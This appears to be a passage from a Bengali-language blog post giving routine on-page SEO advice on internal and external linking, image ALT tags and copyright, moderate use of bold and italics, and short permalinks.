ইন্টারনাল/এক্সটারনাল লিংক: প্রচুর পরিমাণে ইন্টারনাল লিংক বাড়াতে হবে। কারণ ইন্টারনাল লিংক সাইটের লিংক জুস বাড়াবে, সাইটের পেজ র‍্যাংক বাড়াতে ইন্টারনাল লিংকের কোন জুড়ি নেই। তবে একটা কথা মনে রাখতে হবে, ইন্টারনাল লিংকিং করতে হবে আপনার ভিজিটর যাতে উক্ত বিষয় নিয়ে আরও বিস্তারিত জানতে পারে সে বিষয়টি মাথায় রেখে। অর্থ্যাৎ, আপনি লিখছেন মার্সিডিজ বেঞ্জ সি ক্লাসের গাড়ি নিয়ে। এখন মার্সিডিজ বেঞ্জ গাড়ির জন্য কিছু রিলেভেন্ট কনটেন্টের ইন্টারনাল লিংকিং করতে পারেন। এখানে কোনভাবেই নন-রিলেভেন্ট (যেমন: লেবার ম্যানেজমেন্ট!) পোস্টের ইন্টারনাল লিংকিং করবেন না। আর এক্সটারনাল লিংকের ব্যাপারে বলবো, এক্সটারনাল লিংক যত কম পারা যায় ততই ভাল। অবশ্যই এক্সটারনাল লিংকে নোফলো HTML কোড ব্যবহার করুন।


ছবি: ছবি ব্যবহারে একটু সতর্ক হওয়া দরকার। কারো কপিরাইটেড ছবি ব্যবহার করবেন না। ছবি আপলোডের পর তাতে Image ALT Tag ব্যবহার করুন। ছবিটা কি সম্পর্কিত তা অল্প শব্দের ভিতর বোঝাতে হবে।

বোল্ড/ইটালিকঃ পোস্টের গুরুত্বপূর্ন অংশ গুলো বোল্ড করুন মাঝে মাঝে ইটালিক করুন। যাতে ভিজিটরের দৃষ্টি আর্ষন করাতে পারেন। মনে রাখবেন অতিমাত্রায় বোল্ড ও ইটালিক ব্যবহার করা স্প্যামিং এর সামিল।

পার্মালিংকঃ পোস্টের পার্মালিংক খুব গুরুত্বপূর্ণ বিষয়। পার্মালিংক স্ট্রাকচার %পোস্ট নেম% থাকা ভাল। তবে পোস্ট পাবলিশড করার সময় যদি পার্মালিংক অনেক বড় হয়ে যায় তাহলে তা পাবলিশড করা পূর্বেই এডিট করে ছোট করে নিন। খেয়াল রাখবেন ছোট করতে গিয়ে যাতে লিংকের অর্থ না হারিয়ে যায়।

MKRdezign

Contact Form

Name

Email *

Message *

Powered by Blogger.
Javascript DisablePlease Enable Javascript To See All Widget